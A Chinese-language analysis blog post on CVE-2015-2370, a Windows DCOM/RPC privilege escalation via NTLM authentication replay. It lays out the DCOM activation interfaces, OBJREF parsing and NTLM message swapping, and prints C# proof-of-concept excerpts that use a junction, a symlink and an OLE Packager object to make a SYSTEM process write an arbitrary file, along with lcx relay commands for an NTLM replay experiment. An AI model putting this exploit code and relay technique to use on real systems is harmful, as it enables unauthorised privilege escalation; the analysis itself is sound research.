1. 程式人生 > >CVE-2015-2370漏洞成因分析

CVE-2015-2370漏洞成因分析

###漏洞成因分析###
這個漏洞是一種DCOM DCE/RPC協議中ntlm認證後資料包重放導致的許可權提升漏洞
分析的重點DCOM DCE/RPC協議原理,這個協議主要由2塊內容組成,dcom的遠端啟用機制和ntlm身份認證
####1.dcom的遠端啟用機制####
微軟官方解釋
有一個執行在135埠的rpcss服務也就是dcom的啟用服務負責協調本機所有com物件的啟用,當本機啟用時採用通過核心通訊,無法捕獲資料包,屬於內部操作,只有當遠端啟用或遠端重定向到本機啟用這2中方式才可以捕獲到資料包.遠端啟用採用CoCreateInstanceEx方式指定遠端伺服器和啟用身份等引數呼叫rpscss的IRemoteSCMActivator介面的RemoteCreateInstance方法啟用,或者CoGetClassObject =呼叫rpscss的IRemoteSCMActivator介面的RemoteGetClassObject方法啟用同樣可選指定遠端伺服器和啟用身份等引數.還有一種方式方式是客戶端marshal服務端unmarshal方式,在marshal的stream中寫入

OBJREF通過其中的DUALSTRINGARRAY欄位指定遠端解析的伺服器或埠,遠端伺服器rpcss服務採用IObjectExporter介面中的方法實現反序列化出來需要unmarshal的遠端com物件.CVE-2015-2370是通過在ntlm身份認證後在ResolveOxid2之後又重放了一個RemoteCreateInstance請求導致以unmarshal的客戶端的高許可權unmarshal出來一個OLE Packager的檔案實現了許可權提升.使用者也可以建立一個rpc服務實現自己實現這2個介面自定義的rpcss解析和啟用服務.這2個模組的可以在rpcss服務載入的rpcss.dll中找到具體實現,以下是介面定義:

     
 [
     uuid(99fcfec4-5260-101b-bbcb-00aa0021347a),
     pointer_default(unique)
 ]
  //marshal方式
 interface IObjectExporter
 {
     [idempotent] error_status_t ResolveOxid
     (
 [in]       handle_t        hRpc,
 [in]       OXID           *pOxid,
 [in]       unsigned short  cRequestedProtseqs,
 [in,  ref, size_is(cRequestedProtseqs)]
    unsigned short  arRequestedProtseqs[],
 [out, ref] DUALSTRINGARRAY **ppdsaOxidBindings,
 [out, ref] IPID            *pipidRemUnknown,
 [out, ref] DWORD           *pAuthnHint
     );
  
 [idempotent] error_status_t SimplePing
     (
 [in]  handle_t  hRpc,
 [in]  SETID    *pSetId 
     );
  
 [idempotent] error_status_t ComplexPing
     (
 [in]       handle_t        hRpc,
 [in, out]  SETID          *pSetId,
 [in]       unsigned short  SequenceNum,
 [in]       unsigned short  cAddToSet,
 [in]       unsigned short  cDelFromSet,
 [in, unique, size_is(cAddToSet)]   OID AddToSet[],
 [in, unique, size_is(cDelFromSet)] OID DelFromSet[],
 [out]      unsigned short *pPingBackoffFactor      
     );
  
 [idempotent] error_status_t ServerAlive
     (
 [in]       handle_t        hRpc
     );
  
  
 [idempotent] error_status_t ResolveOxid2
     (
 [in]       handle_t        hRpc,
 [in]       OXID           *pOxid,
 [in]       unsigned short  cRequestedProtseqs,
 [in,  ref, size_is(cRequestedProtseqs)]
    unsigned short  arRequestedProtseqs[],
 [out, ref] DUALSTRINGARRAY **ppdsaOxidBindings,
 [out, ref] IPID            *pipidRemUnknown,
 [out, ref] DWORD           *pAuthnHint,
 [out, ref] COMVERSION      *pComVersion
     );
  
     [idempotent] error_status_t ServerAlive2
     (
 [in]       handle_t        hRpc,
 [out, ref] COMVERSION      *pComVersion,
 [out, ref] DUALSTRINGARRAY **ppdsaOrBindings,
 [out, ref] DWORD           *pReserved
     );
 }
  
[
uuid(000001A0-0000-0000-C000-000000000046),
     pointer_default(unique)
 ]
//CoCreateInstanceEx方式
 interface IRemoteSCMActivator 
 {
  void Opnum0NotUsedOnWire(void);
  void Opnum1NotUsedOnWire(void);
  void Opnum2NotUsedOnWire(void);
  
 HRESULT RemoteGetClassObject(
                     [in] handle_t rpc,
                     [in] ORPCTHIS *orpcthis,
                     [out] ORPCTHAT *orpcthat,
                     [in,unique]  MInterfacePointer *pActProperties,
                     [out] MInterfacePointer **ppActProperties
                     );
  
 HRESULT RemoteCreateInstance(
                     [in] handle_t rpc,
                     [in] ORPCTHIS *orpcthis,
                     [out] ORPCTHAT *orpcthat,
                     [in,unique]  MInterfacePointer *pUnkOuter,
                     [in,unique]  MInterfacePointer *pActProperties,
                     [out] MInterfacePointer **ppActProperties
                     );
 }
  

2.ntlm身份認證過程

ntlm官方解釋
CVE-2015-2370採用CoGetInstanceFromIStorage方式觸發伺服器從IStorage自身實現的IMarhal介面的MarshalInterface方法往stream中寫入marshaldata

HRESULT CoGetInstanceFromIStorage(
  COSERVERINFO *pServerInfo,
  CLSID        *pClsid,
  IUnknown     *punkOuter,
  DWORD        dwClsCtx,
  IStorage     *pstg,
  DWORD        dwCount,
  MULTI_QI     *pResults
);

marshaldata是一個OBJREF可以通過如下指令碼使用010editor解析

local unsigned short sizetp;
struct tagOBJREF {
	byte  signature[4]; 
	unsigned long  flags; 
	 struct iid
    {
      unsigned int Data1;
      unsigned ushort Data2;
      unsigned ushort Data3;
      byte Data4[8];
    } _iid;
     if(OBJREF.flags==01h)
     {
       struct tagOBJREF_standard {
        unsigned long  flags; 
        unsigned long  cPublicRefs; 
	    struct oxid {
            DWORD LowPart;
            LONG HighPart;
        }  _oxid; 
	     struct oid {
            DWORD LowPart;
            LONG HighPart;
        }  _oid;    
	         struct ipid
         {
          unsigned int Data1;
          unsigned ushort Data2;
          unsigned ushort Data3;
          byte Data4[8];
         } _ipid;  
         struct tagDUALSTRINGARRAY {
 
  
             unsigned short    wNumEntries;
       
           Printf("wNumEntries is %d",sizetp);
             unsigned short    wSecurityOffset;     
             sizetp=wSecurityOffset-2;
             struct tagSTRINGBINDING {

                  unsigned short    wTowerId;  

                  unsigned short    aNetworkAddr[sizetp];  

               } STRINGBINDING;
              byte nullterm1[2];
              struct tagSECURITYBINDING {

                unsigned short    wAuthnSvc;     // Must not be zero
            
                unsigned short    wAuthzSvc;     // Must not be zero
            
                unsigned short    aPrincName;    // NULL terminated

               } SECURITYBINDING;
               byte nullterm2[2];
 
            } dualstringarray;

        } OBJREF_standard;
     }
     if(OBJREF.flags==02h)
     {
         struct tagOBJREF_handler {
         unsigned char std[40]; 
	         struct clsid
            {
              unsigned int Data1;
              unsigned ushort Data2;
              unsigned ushort Data3;
              byte Data4[8];
            } _clsid; 
	    unsigned char saResAddr[8]; 
      } OBJREF_handler;
     }
     if(OBJREF.flags==04h)
     {
        struct tagOBJREF_custom {
	     struct clsid_custom
         {
              unsigned int Data1;
              unsigned ushort Data2;
              unsigned ushort Data3;
              byte Data4[8];
            } _clsid_custom; 
	    unsigned long  cbExtension; 
	    unsigned long  size; 
	    unsigned byte pData; 
      } OBJREF_custom;
    }
     if(OBJREF.flags==08h)
     {
        unsigned byte std[40]; 
	    unsigned byte pORData[4]; 
	    unsigned byte saResAddr[12]; 
     }
} OBJREF;

結果是一個standard的matshal模式,其中的DUALSTRINGARRAY欄位指定遠端解析的伺服器為127.0.0.1的6666埠,也就是我們要使用中間人攻擊監聽埠,如下圖:
127.0.0.1的6666監聽的資料包經過中轉後最終傳送至135埠的rpcss服務,服務端先進行ServerAlive進行伺服器時候線上確認,之後進行ntlm身份認證.

NTLM認證共需要三個訊息完成:

(1). Type1 訊息: Negotiate 協商訊息。
客戶端在發起認證時,是首先向伺服器傳送協商訊息,協商需要認證的服務型別從資料包中UUID為IOXIDResolver(99fcfec4-5260-101b-bbcb-00aa0021347a)代表協商的服務是IObjectExporter,如圖它被我們替換成了ISystemActivator(000001a0-0000-0000-c000-000000000046)代表協商的服務替換成IRemoteSCMActivator方式,為之後重放了一個RemoteCreateInstance請求做鋪墊,告訴rpcss服務要最終要啟用和請求是RemoteCreateInstance資料包中的內容,Type1 訊息中的Negotiate Flags代表客戶端要和伺服器端協商加密等級
(2). Type2 訊息: Challenge 挑戰訊息。
伺服器在收到客戶端的協商訊息之後,在Negotiate Flags寫入出自己所能接受的加密等級,並生成一個隨機數challenge返回給客戶端.這個challenge實際上也可以被重放,由接受另一個Authenticate來認證,實現身份竊取,筆者會在接下去的實驗中認證.如果Type2 訊息的reserved欄位不為0,為本機內部認證,在rottenpotato類似的方式使用SSPI中的函式獲取SecurityContext.
(3). Type3 訊息: Authenticate啟用訊息。
客戶端在收到服務端發回的Challenge訊息之後,讀取熬服務端的隨機數challenge。使用自己的客戶端身份資訊以及伺服器的隨機數challenge通過複雜的運算,生成一個客戶端隨機數challenge和客戶端的在Negotiate Flags,如果包含簽名這會把整個Authenticate認證訊息加入運算,導致身份竊取替換無效,如無簽名可以替換,詳細看實驗證明.Authenticate認證訊息傳送之後客戶端會在伺服器端返回之前接著傳送ResolveOxid2(IObjectExporter模式)或RemoteCreateInstance(IRemoteSCMActivator模式)給伺服器端.
(4). 伺服器在收到 Type3的訊息之後,會返回啟用成功或失敗訊息,至此dcom遠端啟用完成。

3.任意檔案建立過程

從資料包分析IRemoteSCMActivator::RemoteCreateInstance主要是其中pActProperties結構其中包含這幾個常見欄位

詳細解釋可以參考官方文件,其中InstanceInfoData的InstantiatedObjectClsId是表示要建立com例項的OLE Packager的clsid: {F20DA720-C02F-11CE-927B-0800095AE340},由於wireshark錯位的原因以二進位制中的資料為準
OLE Packager是一個ActiveX控制元件的包格式,會將自身在pActProperties其中的InstanceInfoData欄位的ifdStg的marshal結構中的二進位制資料寫入C:\Users<username>\AppData\Local\Temp(2)的檔案中當被建立時

typedef struct tagInstanceInfoData {
   [string] wchar_t* fileName;
   DWORD mode;
   MInterfacePointer* ifdROT;
   MInterfacePointer* ifdStg;
 } InstanceInfoData;

這個ifdStg也是一個OBJREF結構,它通過一個ObjrefMoniker將這個OLE Packager物件轉換而成,CreateObjrefMoniker是一個將com物件marshal後轉換成一個moniker可以在ObjrefMoniker::GetDisplayName函式中獲取Base64Encoded的OBJREF二進位制資料的函式.poc中讀取原始檔的二進位制資料filedata是最終要建立高許可權檔案的內容寫入OLE Packager,導致在OLE Packager的unmarshal後位於C:\Users<username>\AppData\Local\Temp\建立一個檔名為(2)的檔案內容為filedata,通過建立CreateJunction給temp和C:\users\public\libraries\Sym資料夾使(2)的檔案也會在Sym裡建立,同時建立CreateSymlink給Sym資料夾的(2)檔案和最終要寫入的任意檔案路徑,導致(2)中的filedata二進位制寫入目標檔案,最終RemoteCreateInstance被伺服器端解析後以高許可權程序寫入任意檔案


        public const string CLSID_Package = "f20da720-c02f-11ce-927b-0800095ae340";

        public static IStorage CreatePackageStorage(string name, byte[] filedata)
        {
             //將原始檔的二進位制資料filedata寫入OLE Packager
            MemoryStream ms = new MemoryStream(PackageBuilder.BuildPackage(name, filedata));
            IStorage stg = CreateStorage("dump.stg");
            ComUtils.OLESTREAM stm = new ComUtils.OLESTREAM();
            stm.GetMethod = (a, b, c) =>
            {
                //Console.WriteLine("{0} {1} {2}", a, b, c);

                byte[] data = new byte[c];

                int len = ms.Read(data, 0, (int)c);

                Marshal.Copy(data, 0, b, len);

                return (uint)len;
            };

            OleConvertOLESTREAMToIStorage(ref stm, stg, IntPtr.Zero);
           //寫入OLE Packager的clasid
            Guid g = new Guid(CLSID_Package);
            stg.SetClass(ref g);

            return stg;
        }
        //通過ObjrefMoniker建立二進位制OBJREF填充ifdStg
        public static byte[] GetMarshalledObject(object o)
        {
            IMoniker mk;

            CreateObjrefMoniker(Marshal.GetIUnknownForObject(o), out mk);

            IBindCtx bc;

            CreateBindCtx(0, out bc);

            string name;

            mk.GetDisplayName(bc, null, out name);

            return Convert.FromBase64String(name.Substring(7).TrimEnd(':'));
        }

 [MTAThread]
        static void DoRpcTest(object o, ref RpcContextSplit ctx, string rock, string castle)
        {
            ManualResetEvent ev = (ManualResetEvent)o;
            TcpListener listener = new TcpListener(IPAddress.Loopback, DUMMY_LOCAL_PORT);
            byte[] rockBytes = null;
            //讀取原始檔的二進位制資料filedata寫入OLE Packager
            try { rockBytes = File.ReadAllBytes(rock); }
            catch
            {
                Console.WriteLine("[!] Error reading initial file!");
                Environment.Exit(1);
            }

            Console.WriteLine(String.Format("[+] Loaded in {0} bytes.", rockBytes.Length));

            bool is64bit = !string.IsNullOrEmpty(Environment.GetEnvironmentVariable("PROCESSOR_ARCHITEW6432"));
            try
            {
                Console.WriteLine("[+] Getting out our toolbox...");
                if (is64bit)
                {
                    File.WriteAllBytes("C:\\users\\public\\libraries\\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx64);
                }
                else
                {
                    File.WriteAllBytes("C:\\users\\public\\libraries\\createsymlink.exe", Trebuchet.Properties.Resources.CreateSymlinkx86);
                }             
            }
            catch
            {
                Console.WriteLine("[!] Error writing to C:\\users\\public\\libraries\\createsymlink.exe!");
                Environment.Exit(1);
            }

            string name = GenRandomName();
            string windir = Environment.GetFolderPath(Environment.SpecialFolder.Windows);

            string tempPath = Path.Combine(windir, "temp", name);
            //Sym資料夾使(2)的檔案也會在Sym裡建立
            if (!CreateJunction(tempPath, "\"C:\\users\\public\\libraries\\Sym\\"))
            {
                Console.WriteLine("[!] Couldn't create the junction");
                Environment.Exit(1);
            }
             //Sym資料夾使(2)中的filedata二進位制寫入目標檔案castle
            if (CreateSymlink("C:\\users\\public\\libraries\\Sym\\ (2)", castle)) //Exit bool is inverted!
            {
                Console.WriteLine("[!] Couldn't create the SymLink!");
                Environment.Exit(1);
            }

            IStorage stg = ComUtils.CreatePackageStorage(name, rockBytes);
            byte[] objref = ComUtils.GetMarshalledObject(stg);
            .....
         }

###復現小實驗###
####1.實驗環境####
作業系統:Windows Server 20008 R2
開發環境:vs2013
####2.實驗設計####
我設計了一個實驗來演示ntlm資料包重放現象,git地址
我建立了2個使用者alice和bob,分別以alice和bob身份CoCreateInstanceEx建立一個com物件.然後把這2個建立過程通過2個lcx伺服器(192.168.0.6=>proxy1和192.168.0.12->proxy2)的135埠中轉至本機135埠,通過以下lcx命令:
在192.168.0.6和192.168.0.12上分別執行
lcx -listen 1234 135
在本機上執行
lcx -slave 192.168.0.6 1234 127.0.0.1 2222
lcx -slave 192.168.0.12 1234 127.0.0.1 6666
過程如下圖:

在這個程序中把把rpcss服務給alice的ntlm認證tyep2 Challenge啟用訊息轉發給接收bob,rpcss服務接收bob的tyep3 Authenticate訊息的,把rpcss服務給bob的tyep2 Challenge轉發給alice,rpcss服務接收alice的tyep3 Authenticate訊息的,由於ntlm機制的原因Challenge和Authenticate訊息都是本機的啟用訊息,Authenticate訊息也沒有給自己添加簽名,我們看資料包分析

結果都返回了RemoteCreateInstance成功的返回訊息
接下來我們把alice的身份換成了一個不存在的使用者alice1,也以同樣的方式轉發tyep2 Challenge和tyep3 Authenticate訊息,實驗的結果是這個不存在的alice1使用者反而以bob成功建立CoCreateInstanceEx了com物件,反過來說bob被alice1的身份替換了反而建立失敗


####3.實驗結論####
既然alice和bob的訊息可以通過替換身份資訊建立com物件,那麼以CVE-2015-2370中採用CoGetInstanceFromIStorage方式以system許可權的IObjectExporter中的ntlm認證訊息能以這樣方式重放呢,答案是不行的,因為IObjectExporter的tyep3 Authenticate包含對IObjectExporter的簽名,rpcss服務還是會對RemoteCreateInstance返回拒絕訪問,但是CVE-2015-2370方式是可以的因為之前替換了IOXIDResolver了ISystemActivator的啟用方式,tyep3 Authenticate訊息仍然保持之前對訊息簽名,IObjectExporter的簽名等級高於IRemoteSCMActivator,資料包沒中轉的情況下是可以的,當如果中轉了IObjectExporter到IRemoteSCMActivator就不行了,但是IRemoteSCMActivator到IObjectExporter是可以的,但是IObjectExporter建立不了com物件,所以沒法實現提權.如果讀者有興趣可自行嘗試

引用
CVE-2015-2370官方連結
poc下載
實驗原始碼git地址